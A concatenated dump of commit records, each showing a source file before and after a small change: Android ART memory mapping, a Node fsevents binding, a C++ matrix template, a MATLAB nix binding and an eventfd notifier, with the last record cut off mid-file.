base_size_(base_size) {\n CHECK(begin_ != NULL);\n CHECK_NE(size_, 0U);\n CHECK(base_begin_ != NULL);\n CHECK_NE(base_size_, 0U);\n};\n\n} \/\/ namespace art\n<commit_msg>Better diagnostics when an anonymous mmap fails.<commit_after>\/*\n * Copyright (C) 2008 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"mem_map.h\"\n\n#include <sys\/mman.h>\n\n#include \"ScopedFd.h\"\n#include \"utils.h\"\n\n#define USE_ASHMEM 1\n\n#ifdef USE_ASHMEM\n#include <cutils\/ashmem.h>\n#endif\n\nnamespace art {\n\n#if !defined(NDEBUG)\n\nstatic size_t ParseHex(const std::string& string) {\n CHECK_EQ(8U, string.size());\n const char* str = string.c_str();\n char* end;\n size_t value = strtoul(str, &end, 16);\n CHECK(end != str) << \"Failed to parse hexadecimal value from \" << string;\n CHECK_EQ(*end, '\\0') << \"Failed to parse hexadecimal value from \" << string;\n return value;\n}\n\nstatic void CheckMapRegion(uint32_t base, uint32_t limit, uint32_t start, uint32_t end, const std::string& maps) {\n CHECK(!(base >= start && base < end) \/\/ start of new within old\n && !(limit > start && limit < end) \/\/ end of new within old\n && !(base <= start && limit > end)) \/\/ start\/end of new includes all of old\n << StringPrintf(\"Requested region %08x-%08x overlaps with existing map %08x-%08x\\n\",\n base, limit, start, end)\n << maps;\n}\n\nvoid CheckMapRequest(byte* addr, size_t length) {\n if (addr == NULL) {\n return;\n }\n uint32_t base = reinterpret_cast<size_t>(addr);\n uint32_t limit = base + length;\n\n#if defined(__APPLE__)\n \/\/ Mac OS vmmap(1) output currently looks something like this:\n\n \/\/ Virtual Memory Map of process 51036 (dex2oatd)\n \/\/ Output report format: 2.2 -- 32-bit process\n \/\/\n \/\/ ==== regions for process 51036 (non-writable and writable regions are interleaved)\n \/\/ __PAGEZERO 00000000-00001000 [ 4K 0K 0K] ---\/--- SM=NUL out\/host\/darwin-x86\/bin\/dex2oatd\n \/\/ __TEXT 00001000-00015000 [ 80K 80K 0K] r-x\/rwx SM=COW out\/host\/darwin-x86\/bin\/dex2oatd\n \/\/ __DATA 00015000-00016000 [ 4K 4K 4K] rw-\/rwx SM=PRV out\/host\/darwin-x86\/bin\/dex2oatd\n \/\/ __LINKEDIT 00016000-00044000 [ 184K 184K 0K] r--\/rwx SM=COW out\/host\/darwin-x86\/bin\/dex2oatd\n \/\/ __TEXT 00044000-00046000 [ 8K 8K 4K] r-x\/rwx SM=COW out\/host\/darwin-x86\/obj\/lib\/libnativehelper.dylib\n \/\/ __DATA 00046000-00047000 [ 4K 4K 4K] rw-\/rwx SM=ZER out\/host\/darwin-x86\/obj\/lib\/libnativehelper.dylib\n \/\/ __LINKEDIT 00047000-0004a000 [ 12K 12K 0K] r--\/rwx SM=COW out\/host\/darwin-x86\/obj\/lib\/libnativehelper.dylib\n \/\/ ...\n\n \/\/ TODO: the -v option replaces \"-w -resident -dirty -purge -submap -allSplitLibs -noCoalesce\" >= 10.6.\n std::string command(StringPrintf(\"vmmap -w -resident -submap -allSplitLibs -interleaved %d\", getpid()));\n FILE* fp = popen(command.c_str(), \"r\");\n if (fp == NULL) {\n PLOG(FATAL) << \"popen failed\";\n }\n std::vector<char> chars(512);\n std::string maps;\n while (fgets(&chars[0], chars.size(), fp) != NULL) {\n std::string line(&chars[0]);\n maps += line;\n if (line.size() < 40 || line[31] != '-') {\n continue;\n }\n\n std::string start_str(line.substr(23, 8));\n std::string end_str(line.substr(32, 8));\n uint32_t start = ParseHex(start_str);\n uint32_t end = ParseHex(end_str);\n CheckMapRegion(base, limit, start, end, maps);\n }\n if (ferror(fp)) {\n PLOG(FATAL) << \"fgets failed\";\n }\n if (pclose(fp) == -1) {\n PLOG(FATAL) << \"pclose failed\";\n }\n#else \/\/ Linux\n std::string maps;\n bool read = ReadFileToString(\"\/proc\/self\/maps\", &maps);\n if (!read) {\n PLOG(FATAL) << \"Failed to read \/proc\/self\/maps\";\n }\n \/\/ Quick and dirty parse of output like shown below. We only focus\n \/\/ on grabbing the two 32-bit hex values at the start of each line\n \/\/ and will fail on wider addresses found on 64-bit systems.\n\n \/\/ 00008000-0001f000 r-xp 00000000 b3:01 273 \/system\/bin\/toolbox\n \/\/ 0001f000-00021000 rw-p 00017000 b3:01 273 \/system\/bin\/toolbox\n \/\/ 00021000-00029000 rw-p 00000000 00:00 0 [heap]\n \/\/ 40011000-40053000 r-xp 00000000 b3:01 1050 \/system\/lib\/libc.so\n \/\/ 40053000-40056000 rw-p 00042000 b3:01 1050 \/system\/lib\/libc.so\n \/\/ 40056000-40061000 rw-p 00000000 00:00 0\n \/\/ 40061000-40063000 r-xp 00000000 b3:01 1107 \/system\/lib\/libusbhost.so\n \/\/ 40063000-40064000 rw-p 00002000 b3:01 1107 \/system\/lib\/libusbhost.so\n \/\/ 4009d000-400a0000 r-xp 00000000 b3:01 1022 \/system\/lib\/liblog.so\n \/\/ 400a0000-400a1000 rw-p 00003000 b3:01 1022 \/system\/lib\/liblog.so\n \/\/ 400b7000-400cc000 r-xp 00000000 b3:01 932 \/system\/lib\/libm.so\n \/\/ 400cc000-400cd000 rw-p 00015000 b3:01 932 \/system\/lib\/libm.so\n \/\/ 400cf000-400d0000 r--p 00000000 00:00 0\n \/\/ 400e4000-400ec000 r--s 00000000 00:0b 388 \/dev\/__properties__ (deleted)\n \/\/ 400ec000-400fa000 r-xp 00000000 b3:01 1101 \/system\/lib\/libcutils.so\n \/\/ 400fa000-400fb000 rw-p 0000e000 b3:01 1101 \/system\/lib\/libcutils.so\n \/\/ 400fb000-4010a000 rw-p 00000000 00:00 0\n \/\/ 4010d000-4010e000 r-xp 00000000 b3:01 929 \/system\/lib\/libstdc++.so\n \/\/ 4010e000-4010f000 rw-p 00001000 b3:01 929 \/system\/lib\/libstdc++.so\n \/\/ b0001000-b0009000 r-xp 00001000 b3:01 1098 \/system\/bin\/linker\n \/\/ b0009000-b000a000 rw-p 00009000 b3:01 1098 \/system\/bin\/linker\n \/\/ b000a000-b0015000 rw-p 00000000 00:00 0\n \/\/ bee35000-bee56000 rw-p 00000000 00:00 0 [stack]\n \/\/ ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]\n\n for (size_t i = 0; i < maps.size(); i++) {\n size_t remaining = maps.size() - i;\n if (remaining < 8+1+8) { \/\/ 00008000-0001f000\n LOG(FATAL) << \"Failed to parse at pos \" << i << \"\\n\" << maps;\n }\n std::string start_str(maps.substr(i, 8));\n std::string end_str(maps.substr(i+1+8, 8));\n uint32_t start = ParseHex(start_str);\n uint32_t end = ParseHex(end_str);\n CheckMapRegion(base, limit, start, end, maps);\n i += 8+1+8;\n i = maps.find('\\n', i);\n CHECK(i != std::string::npos) << \"Failed to find newline from pos \" << i << \"\\n\" << maps;\n }\n#endif\n}\n\n#else\nstatic void CheckMapRequest(byte*, size_t) { }\n#endif\n\nMemMap* MemMap::MapAnonymous(const char* name, byte* addr, size_t length, int prot) {\n CHECK_NE(0U, length);\n CHECK_NE(0, prot);\n size_t page_aligned_size = RoundUp(length, kPageSize);\n CheckMapRequest(addr, page_aligned_size);\n\n#ifdef USE_ASHMEM\n ScopedFd fd(ashmem_create_region(name, page_aligned_size));\n int flags = MAP_PRIVATE;\n if (fd.get() == -1) {\n PLOG(ERROR) << \"ashmem_create_region failed (\" << name << \")\";\n return NULL;\n }\n#else\n ScopedFd fd(-1);\n int flags = MAP_PRIVATE | MAP_ANONYMOUS;\n#endif\n\n byte* actual = reinterpret_cast<byte*>(mmap(addr, page_aligned_size, prot, flags, fd.get(), 0));\n if (actual == MAP_FAILED) {\n PLOG(ERROR) << \"mmap(\" << reinterpret_cast<void*>(addr) << \", \" << page_aligned_size\n << \", \" << prot << \", \" << flags << \", \" << fd.get() << \", 0) failed for \" << name;\n return NULL;\n }\n return new MemMap(actual, length, actual, page_aligned_size);\n}\n\nMemMap* MemMap::MapFileAtAddress(byte* addr, size_t length, int prot, int flags, int fd, off_t start) {\n CHECK_NE(0U, length);\n CHECK_NE(0, prot);\n CHECK_NE(0, flags & (MAP_SHARED | MAP_PRIVATE));\n \/\/ adjust to be page-aligned\n int page_offset = start % kPageSize;\n off_t page_aligned_offset = start - page_offset;\n size_t page_aligned_size = RoundUp(length + page_offset, kPageSize);\n CheckMapRequest(addr, page_aligned_size);\n byte* actual = reinterpret_cast<byte*>(mmap(addr,\n page_aligned_size,\n prot,\n flags,\n fd,\n page_aligned_offset));\n if (actual == MAP_FAILED) {\n PLOG(ERROR) << \"mmap failed\";\n return NULL;\n }\n return new MemMap(actual + page_offset, length, actual, page_aligned_size);\n}\n\nMemMap::~MemMap() {\n if (base_begin_ == NULL && base_size_ == 0) {\n return;\n }\n int result = munmap(base_begin_, base_size_);\n if (result == -1) {\n PLOG(FATAL) << \"munmap failed\";\n }\n}\n\nMemMap::MemMap(byte* begin, size_t size, void* base_begin, size_t base_size)\n : begin_(begin), size_(size), base_begin_(base_begin), base_size_(base_size) {\n CHECK(begin_ != NULL);\n CHECK_NE(size_, 0U);\n CHECK(base_begin_ != NULL);\n CHECK_NE(base_size_, 0U);\n};\n\n} \/\/ namespace art\n<|endoftext|>"} {"text":"<commit_before>\/*\n** © 2014 by Philipp Dunkel <pip@pipobscure.com>\n** Licensed under MIT License.\n*\/\n\nvoid FSEvents::emitEvent(const char *path, UInt32 flags, UInt64 id) {\n if (!handler) return;\n NanScope();\n v8::Local<v8::Value> argv[] = {\n NanNew<v8::String>(path),\n NanNew<v8::Number>(flags),\n NanNew<v8::Number>(id)\n };\n handler->Call(3, argv);\n}\n\nNAN_METHOD(FSEvents::New) {\n NanScope();\n\n\n\n\n char* path = static_cast<char *>(*NanUtf8String(args[0]));\n NanCallback *callback = new NanCallback(args[1].As<v8::Function>());\n\n FSEvents *fse = new FSEvents(path, callback);\n fse->Wrap(args.This());\n\n NanReturnValue(args.This());\n}\n\nNAN_METHOD(FSEvents::Stop) {\n NanScope();\n\n FSEvents* fse = node::ObjectWrap::Unwrap<FSEvents>(args.This());\n\n fse->threadStop();\n fse->asyncStop();\n\n NanReturnValue(args.This());\n}\n\nNAN_METHOD(FSEvents::Start) {\n NanScope();\n\n FSEvents* fse = node::ObjectWrap::Unwrap<FSEvents>(args.This());\n fse->asyncStart();\n fse->threadStart();\n\n NanReturnValue(args.This());\n}\n<commit_msg>Fix NanUtf8String implementation<commit_after>\/*\n** © 2014 by Philipp Dunkel <pip@pipobscure.com>\n** Licensed under MIT License.\n*\/\n\nvoid FSEvents::emitEvent(const char *path, UInt32 flags, UInt64 id) {\n if (!handler) return;\n NanScope();\n v8::Local<v8::Value> argv[] = {\n NanNew<v8::String>(path),\n NanNew<v8::Number>(flags),\n NanNew<v8::Number>(id)\n };\n handler->Call(3, argv);\n}\n\nNAN_METHOD(FSEvents::New) {\n NanScope();\n\n NanUtf8String *path = new NanUtf8String(args[0]);\n NanCallback *callback = new NanCallback(args[1].As<v8::Function>());\n\n FSEvents *fse = new FSEvents(**path, callback);\n fse->Wrap(args.This());\n\n NanReturnValue(args.This());\n}\n\nNAN_METHOD(FSEvents::Stop) {\n NanScope();\n\n FSEvents* fse = node::ObjectWrap::Unwrap<FSEvents>(args.This());\n\n fse->threadStop();\n fse->asyncStop();\n\n NanReturnValue(args.This());\n}\n\nNAN_METHOD(FSEvents::Start) {\n NanScope();\n\n FSEvents* fse = node::ObjectWrap::Unwrap<FSEvents>(args.This());\n fse->asyncStart();\n fse->threadStart();\n\n NanReturnValue(args.This());\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef __MINEAR_HPP__\n#define __MINEAR_HPP__\n\n#include <memory>\n#include <iostream>\n\nnamespace minear\n{\n template <class T> class Matrix\n {\n public:\n unsigned int n_rows;\n unsigned int n_cols;\n \n \/* constructors and destructors *\/\n Matrix<T>() : n_rows(0), n_cols(0), data(nullptr), insertion_index(0) {}\n \n Matrix<T>(const unsigned int n, const unsigned int m) :\n n_rows(n), n_cols(m), data(new T[n*m]), insertion_index(0) {};\n Matrix<T>(const unsigned int n, const unsigned int m, const T value);\n \n Matrix<T>(const Matrix<T>&);\n Matrix<T>& operator=(const Matrix<T>&);\n \n Matrix<T>(Matrix<T>&&);\n Matrix<T>& operator=(Matrix<T>&&);\n \n ~Matrix<T>() { delete[] data; }\n \n \/* data insertion *\/\n Matrix<T>& operator<<(const T value);\n void reset_index() { insertion_index = 0; }\n \n \/* data accessors *\/\n inline T& operator()(const unsigned int i, const unsigned int j)\n { return data[i*n_cols + j]; }\n inline const T& operator() (const unsigned int i, const unsigned int j) \n const\n { return data[i*n_cols + j]; }\n \n \/* printing *\/\n friend std::ostream& operator<< (std::ostream& stream, const Matrix& a)\n {\n for (unsigned int i = 0; i < a.n_rows; i++)\n {\n for (unsigned int j = 0; j < a.n_cols; j++)\n stream << \" \" << a(i,j);\n stream << std::endl;\n }\n \n return stream;\n }\n \n \/* memory management *\/\n void resize(const unsigned int, const unsigned int);\n \n private:\n T* data;\n unsigned int insertion_index;\n };\n \n template <class T> Matrix<T>::Matrix(const unsigned int n, \n const unsigned int m, const T value) : Matrix<T>(n,m)\n { \n for (unsigned int i = 0; i < n; i++)\n for (unsigned int j = 0; j < m; j++)\n (*this)(i,j) = value;\n }\n \n template <class T> Matrix<T>::Matrix(const Matrix<T>& a) : \n n_rows(a.n_rows), n_cols(a.n_cols)\n {\n data = new T[n_rows*n_cols];\n for (unsigned int i = 0; i < n_rows; i++)\n for (unsigned int j = 0; j < n_cols; j++)\n (*this)(i,j) = a(i,j);\n }\n \n template <class T> Matrix<T>& Matrix<T>::operator=(const Matrix<T>& a)\n {\n resize(a.n_rows, a.n_cols);\n insertion_index = 0;\n \n for (unsigned int i = 0; i < n_rows; i++)\n for (unsigned int j = 0; j < n_cols; j++)\n (*this)(i,j) = a(i,j);\n \n return *this;\n }\n \n template <class T> Matrix<T>::Matrix(Matrix<T>&& a) :\n n_rows(a.n_rows), n_cols(a.n_cols), data(a.data), insertion_index(0)\n {\n a.data = nullptr; \/* ensure nothing funny happens when a is deleted *\/\n }\n \n template <class T> Matrix<T>& Matrix<T>::operator=(Matrix<T>&& a)\n {\n insertion_index = 0;\n \n \/* delete old memory, move rvalue memory in *\/\n T* p = data;\n data = a.data;\n delete[] p;\n \n n_rows = a.n_rows;\n n_cols = a.n_cols;\n \n a.data = nullptr;\n \n return *this;\n }\n \n template <class T> Matrix<T>& Matrix<T>::operator<<(const T value)\n {\n data[insertion_index] = value;\n insertion_index++;\n if (insertion_index == n_rows*n_cols) insertion_index = 0;\n return *this;\n }\n \n template <class T> Matrix<T> operator+(const Matrix<T>& a, \n const Matrix<T>& b)\n {\n \/* TODO: make sure matrices are the same size *\/\n Matrix<T> result(a.n_rows,a.n_cols);\n for (unsigned int i = 0; i < a.n_rows; i++)\n for (unsigned int j = 0; j < a.n_cols; j++)\n result(i,j) = a(i,j) + b(i,j);\n \n return result;\n }\n \n template <class T> Matrix<T> operator-(const Matrix<T>& a, \n const Matrix<T>& b)\n {\n \/* TODO: make sure matrices are the same size *\/\n Matrix<T> result(a.n_rows,a.n_cols);\n for (unsigned int i = 0; i < a.n_rows; i++)\n for (unsigned int j = 0; j < a.n_cols; j++)\n result(i,j) = a(i,j) - b(i,j);\n \n return result;\n }\n \n template <class T> Matrix<T> operator-(const Matrix<T>& a)\n {\n \/* TODO: make sure matrices are the same size *\/\n Matrix<T> result(a.n_rows,a.n_cols);\n for (unsigned int i = 0; i < a.n_rows; i++)\n for (unsigned int j = 0; j < a.n_cols; j++)\n result(i,j) = -a(i,j);\n \n return result;\n }\n \n template <class T> Matrix<T> operator*(const Matrix<T>& a,\n const Matrix<T>& b)\n {\n Matrix<T> result(a.n_rows,b.n_cols,0);\n for (unsigned int i = 0; i < a.n_rows; i++)\n {\n for (unsigned int j = 0; j < b.n_cols; j++)\n for (unsigned int k = 0; k < b.n_rows; k++)\n result(i,j) += a(i,k)*b(k,j);\n }\n \n return result;\n }\n \n template <class T> void Matrix<T>::resize(const unsigned int n,\n const unsigned int m)\n {\n if (sizeof(data)\/sizeof(T) < n*m)\n {\n T* p = data;\n data = new T[n*m];\n delete[] p;\n insertion_index = 0;\n }\n \n n_rows = n;\n n_cols = m;\n }\n}\n\n#endif \/* __MINEAR_HPP__ *\/\n<commit_msg>changed i++ to ++i just because<commit_after>#ifndef __MINEAR_HPP__\n#define __MINEAR_HPP__\n\n#include <memory>\n#include <iostream>\n\nnamespace minear\n{\n template <class T> class Matrix\n {\n public:\n unsigned int n_rows;\n unsigned int n_cols;\n \n \/* constructors and destructors *\/\n Matrix<T>() : n_rows(0), n_cols(0), data(nullptr), insertion_index(0) {}\n \n Matrix<T>(const unsigned int n, const unsigned int m) :\n n_rows(n), n_cols(m), data(new T[n*m]), insertion_index(0) {};\n Matrix<T>(const unsigned int n, const unsigned int m, const T value);\n \n Matrix<T>(const Matrix<T>&);\n Matrix<T>& operator=(const Matrix<T>&);\n \n Matrix<T>(Matrix<T>&&);\n Matrix<T>& operator=(Matrix<T>&&);\n \n ~Matrix<T>() { delete[] data; }\n \n \/* data insertion *\/\n Matrix<T>& operator<<(const T value);\n void reset_index() { insertion_index = 0; }\n \n \/* data accessors *\/\n inline T& operator()(const unsigned int i, const unsigned int j)\n { return data[i*n_cols + j]; }\n inline const T& operator() (const unsigned int i, const unsigned int j) \n const\n { return data[i*n_cols + j]; }\n \n \/* printing *\/\n friend std::ostream& operator<< (std::ostream& stream, const Matrix& a)\n {\n for (unsigned int i = 0; i < a.n_rows; ++i)\n {\n for (unsigned int j = 0; j < a.n_cols; ++j)\n stream << \" \" << a(i,j);\n stream << std::endl;\n }\n \n return stream;\n }\n \n \/* memory management *\/\n void resize(const unsigned int, const unsigned int);\n \n private:\n T* data;\n unsigned int insertion_index;\n };\n \n template <class T> Matrix<T>::Matrix(const unsigned int n, \n const unsigned int m, const T value) : Matrix<T>(n,m)\n { \n for (unsigned int i = 0; i < n; ++i)\n for (unsigned int j = 0; j < m; ++j)\n (*this)(i,j) = value;\n }\n \n template <class T> Matrix<T>::Matrix(const Matrix<T>& a) : \n n_rows(a.n_rows), n_cols(a.n_cols)\n {\n data = new T[n_rows*n_cols];\n for (unsigned int i = 0; i < n_rows; ++i)\n for (unsigned int j = 0; j < n_cols; ++j)\n (*this)(i,j) = a(i,j);\n }\n \n template <class T> Matrix<T>& Matrix<T>::operator=(const Matrix<T>& a)\n {\n resize(a.n_rows, a.n_cols);\n insertion_index = 0;\n \n for (unsigned int i = 0; i < n_rows; ++i)\n for (unsigned int j = 0; j < n_cols; ++j)\n (*this)(i,j) = a(i,j);\n \n return *this;\n }\n \n template <class T> Matrix<T>::Matrix(Matrix<T>&& a) :\n n_rows(a.n_rows), n_cols(a.n_cols), data(a.data), insertion_index(0)\n {\n a.data = nullptr; \/* ensure nothing funny happens when a is deleted *\/\n }\n \n template <class T> Matrix<T>& Matrix<T>::operator=(Matrix<T>&& a)\n {\n insertion_index = 0;\n \n \/* delete old memory, move rvalue memory in *\/\n T* p = data;\n data = a.data;\n delete[] p;\n \n n_rows = a.n_rows;\n n_cols = a.n_cols;\n \n a.data = nullptr;\n \n return *this;\n }\n \n template <class T> Matrix<T>& Matrix<T>::operator<<(const T value)\n {\n data[insertion_index] = value;\n insertion_index++;\n if (insertion_index == n_rows*n_cols) insertion_index = 0;\n return *this;\n }\n \n template <class T> Matrix<T> operator+(const Matrix<T>& a, \n const Matrix<T>& b)\n {\n \/* TODO: make sure matrices are the same size *\/\n Matrix<T> result(a.n_rows,a.n_cols);\n for (unsigned int i = 0; i < a.n_rows; ++i)\n for (unsigned int j = 0; j < a.n_cols; ++j)\n result(i,j) = a(i,j) + b(i,j);\n \n return result;\n }\n \n template <class T> Matrix<T> operator-(const Matrix<T>& a, \n const Matrix<T>& b)\n {\n \/* TODO: make sure matrices are the same size *\/\n Matrix<T> result(a.n_rows,a.n_cols);\n for (unsigned int i = 0; i < a.n_rows; ++i)\n for (unsigned int j = 0; j < a.n_cols; ++j)\n result(i,j) = a(i,j) - b(i,j);\n \n return result;\n }\n \n template <class T> Matrix<T> operator-(const Matrix<T>& a)\n {\n \/* TODO: make sure matrices are the same size *\/\n Matrix<T> result(a.n_rows,a.n_cols);\n for (unsigned int i = 0; i < a.n_rows; ++i)\n for (unsigned int j = 0; j < a.n_cols; ++j)\n result(i,j) = -a(i,j);\n \n return result;\n }\n \n template <class T> Matrix<T> operator*(const Matrix<T>& a,\n const Matrix<T>& b)\n {\n Matrix<T> result(a.n_rows,b.n_cols,0);\n for (unsigned int i = 0; i < a.n_rows; ++i)\n {\n for (unsigned int j = 0; j < b.n_cols; ++j)\n for (unsigned int k = 0; k < b.n_rows; ++k)\n result(i,j) += a(i,k)*b(k,j);\n }\n \n return result;\n }\n \n template <class T> void Matrix<T>::resize(const unsigned int n,\n const unsigned int m)\n {\n if (sizeof(data)\/sizeof(T) < n*m)\n {\n T* p = data;\n data = new T[n*m];\n delete[] p;\n insertion_index = 0;\n }\n \n n_rows = n;\n n_cols = m;\n }\n}\n\n#endif \/* __MINEAR_HPP__ *\/\n<|endoftext|>"} {"text":"<commit_before>#include \"nixfile.h\"\n\n#include \"mex.h\"\n\n#include <nix.hpp>\n\n#include \"handle.h\"\n#include \"arguments.h\"\n#include \"struct.h\"\n\nnamespace nixfile {\n\nvoid open(const extractor &input, infusor &output)\n{\n std::string name = input.str(1);\n uint8_t omode = input.num<uint8_t>(2);\n nix::FileMode mode;\n\n switch (omode) {\n case 0: mode = nix::FileMode::ReadOnly; break;\n case 1: mode = nix::FileMode::ReadWrite; break;\n case 2: mode = nix::FileMode::Overwrite; break;\n default: throw std::invalid_argument(\"unkown open mode\");\n }\n\n nix::File fn = nix::File::open(name, mode);\n handle h = handle(fn);\n\n output.set(0, h);\n}\n\nvoid describe(const extractor &input, infusor &output)\n{\n nix::File fd = input.entity<nix::File>(1);\n\n struct_builder sb({ 1 }, { \"blockCount\", \"sectionCount\" });\n\n sb.set(fd.blockCount());\n sb.set(fd.sectionCount());\n\n output.set(0, sb.array());\n}\n\nvoid list_blocks(const extractor &input, infusor &output)\n{\n nix::File fd = input.entity<nix::File>(1);\n\n std::vector<nix::Block> blocks = fd.blocks();\n\n struct_builder sb({ blocks.size() }, { \"name\", \"id\", \"type\" });\n\n for (const auto &b : blocks) {\n sb.set(b.name());\n sb.set(b.id());\n sb.set(b.type());\n\n sb.next();\n }\n\n output.set(0, sb.array());\n}\n\nvoid open_block(const extractor &input, infusor &output)\n{\n nix::File nf = input.entity<nix::File>(1);\n nix::Block block = nf.getBlock(input.str(2));\n handle bb = handle(block);\n output.set(0, bb);\n}\n\nvoid blocks(const extractor &input, infusor &output)\n{\n nix::File nf = input.entity<nix::File>(1);\n std::vector<nix::Block> blocks = nf.blocks();\n\n const mwSize size = static_cast<mwSize>(blocks.size());\n mxArray *lst = mxCreateCellArray(1, &size);\n\n for (int i = 0; i < blocks.size(); i++) {\n mxSetCell(lst, i, make_mx_array(handle(blocks[i])));\n }\n\n output.set(0, lst);\n}\n\nvoid list_sections(const extractor &input, infusor &output)\n{\n nix::File fd = input.entity<nix::File>(1);\n\n std::vector<nix::Section> secs = fd.sections();\n\n struct_builder sb({ secs.size() }, { \"name\", \"id\", \"type\" });\n\n for (const auto &b : secs) {\n sb.set(b.name());\n sb.set(b.id());\n sb.set(b.type());\n\n sb.next();\n }\n\n output.set(0, sb.array());\n}\n\nvoid open_section(const extractor &input, infusor &output)\n{\n nix::File nf = input.entity<nix::File>(1);\n nix::Section sec = nf.getSection(input.str(2));\n handle bb = handle(sec);\n output.set(0, bb);\n}\n\nvoid sections(const extractor &input, infusor &output)\n{\n nix::File nf = input.entity<nix::File>(1);\n std::vector<nix::Section> sections = nf.sections();\n\n const mwSize size = static_cast<mwSize>(sections.size());\n mxArray *lst = mxCreateCellArray(1, &size);\n\n for (int i = 0; i < sections.size(); i++) {\n mxSetCell(lst, i, make_mx_array(handle(sections[i])));\n }\n\n output.set(0, lst);\n}\n\n} \/\/ namespace nixfile<commit_msg>[nixfile] use size_t in loops to avoid warning<commit_after>#include \"nixfile.h\"\n\n#include \"mex.h\"\n\n#include <nix.hpp>\n\n#include \"handle.h\"\n#include \"arguments.h\"\n#include \"struct.h\"\n\nnamespace nixfile {\n\nvoid open(const extractor &input, infusor &output)\n{\n std::string name = input.str(1);\n uint8_t omode = input.num<uint8_t>(2);\n nix::FileMode mode;\n\n switch (omode) {\n case 0: mode = nix::FileMode::ReadOnly; break;\n case 1: mode = nix::FileMode::ReadWrite; break;\n case 2: mode = nix::FileMode::Overwrite; break;\n default: throw std::invalid_argument(\"unkown open mode\");\n }\n\n nix::File fn = nix::File::open(name, mode);\n handle h = handle(fn);\n\n output.set(0, h);\n}\n\nvoid describe(const extractor &input, infusor &output)\n{\n nix::File fd = input.entity<nix::File>(1);\n\n struct_builder sb({ 1 }, { \"blockCount\", \"sectionCount\" });\n\n sb.set(fd.blockCount());\n sb.set(fd.sectionCount());\n\n output.set(0, sb.array());\n}\n\nvoid list_blocks(const extractor &input, infusor &output)\n{\n nix::File fd = input.entity<nix::File>(1);\n\n std::vector<nix::Block> blocks = fd.blocks();\n\n struct_builder sb({ blocks.size() }, { \"name\", \"id\", \"type\" });\n\n for (const auto &b : blocks) {\n sb.set(b.name());\n sb.set(b.id());\n sb.set(b.type());\n\n sb.next();\n }\n\n output.set(0, sb.array());\n}\n\nvoid open_block(const extractor &input, infusor &output)\n{\n nix::File nf = input.entity<nix::File>(1);\n nix::Block block = nf.getBlock(input.str(2));\n handle bb = handle(block);\n output.set(0, bb);\n}\n\nvoid blocks(const extractor &input, infusor &output)\n{\n nix::File nf = input.entity<nix::File>(1);\n std::vector<nix::Block> blocks = nf.blocks();\n\n const mwSize size = static_cast<mwSize>(blocks.size());\n mxArray *lst = mxCreateCellArray(1, &size);\n\n for (size_t i = 0; i < blocks.size(); i++) {\n mxSetCell(lst, i, make_mx_array(handle(blocks[i])));\n }\n\n output.set(0, lst);\n}\n\nvoid list_sections(const extractor &input, infusor &output)\n{\n nix::File fd = input.entity<nix::File>(1);\n\n std::vector<nix::Section> secs = fd.sections();\n\n struct_builder sb({ secs.size() }, { \"name\", \"id\", \"type\" });\n\n for (const auto &b : secs) {\n sb.set(b.name());\n sb.set(b.id());\n sb.set(b.type());\n\n sb.next();\n }\n\n output.set(0, sb.array());\n}\n\nvoid open_section(const extractor &input, infusor &output)\n{\n nix::File nf = input.entity<nix::File>(1);\n nix::Section sec = nf.getSection(input.str(2));\n handle bb = handle(sec);\n output.set(0, bb);\n}\n\nvoid sections(const extractor &input, infusor &output)\n{\n nix::File nf = input.entity<nix::File>(1);\n std::vector<nix::Section> sections = nf.sections();\n\n const mwSize size = static_cast<mwSize>(sections.size());\n mxArray *lst = mxCreateCellArray(1, &size);\n\n for (size_t i = 0; i < sections.size(); i++) {\n mxSetCell(lst, i, make_mx_array(handle(sections[i])));\n }\n\n output.set(0, lst);\n}\n\n} \/\/ namespace nixfile\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Send notifications from a worker thread to the main thread.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"notify.hxx\"\n#include \"gerrno.h\"\n\n#include <inline\/compiler.h>\n\n#include <event.h>\n\n#include <atomic>\n\n#include <assert.h>\n#include <unistd.h>\n#include <sys\/eventfd.h>\n\nclass Notify {\npublic:\n notify_callback_t callback;\n void *callback_ctx;\n\n int fd;\n\n struct event event;\n\n std::atomic_bool pending;\n\n Notify()\n :pending(false) {}\n};\n\nstatic void\nnotify_event_callback(int fd, gcc_unused short event, void *ctx)\n{\n Notify *notify = (Notify *)ctx;\n\n uint64_t value;\n (void)read(fd, &value, sizeof(value));\n\n if (notify->pending.exchange(false))\n notify->callback(notify->callback_ctx);\n}\n\nNotify *\nnotify_new(notify_callback_t callback, void *ctx, GError **error_r)\n{\n auto notify = new Notify();\n\n notify->callback = callback;\n notify->callback_ctx = ctx;\n\n notify->fd = eventfd(0, EFD_NONBLOCK|EFD_CLOEXEC);\n if (notify->fd < 0) {\n set_error_errno_msg(error_r, \"eventfd() failed\");\n return nullptr;\n }\n\n event_set(¬ify->event, notify->fd, EV_READ|EV_PERSIST,\n notify_event_callback, notify);\n event_add(¬ify->event, nullptr);\n\n return notify;\n}\n\nvoid\nnotify_free(Notify *notify)\n{\n event_del(¬ify->event);\n close(notify->fd);\n\n delete notify;\n}\n\nvoid\nnotify_signal(Notify *notify)\n{\n if (!notify->pending.exchange(true)) {\n static constexpr uint64_t value = 1;\n (void)write(notify->fd, &value, sizeof(value));\n }\n}\n\nvoid\nnotify_enable(Notify *notify)\n{\n event_add(¬ify->event, nullptr);\n}\n\nvoid\nnotify_disable(Notify *notify)\n{\n event_del(¬ify->event);\n}\n<commit_msg>notify: use class Event<commit_after>\/*\n * Send notifications from a worker thread to the main thread.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"notify.hxx\"\n#include \"gerrno.h\"\n#include \"event\/Event.hxx\"\n\n#include <inline\/compiler.h>\n\n#include <atomic>\n\n#include <unistd.h>\n#include <sys\/eventfd.h>\n\nclass Notify {\npublic:\n notify_callback_t callback;\n void *callback_ctx;\n\n int fd;\n\n Event event;\n\n std::atomic_bool pending;\n\n Notify()\n :pending(false) 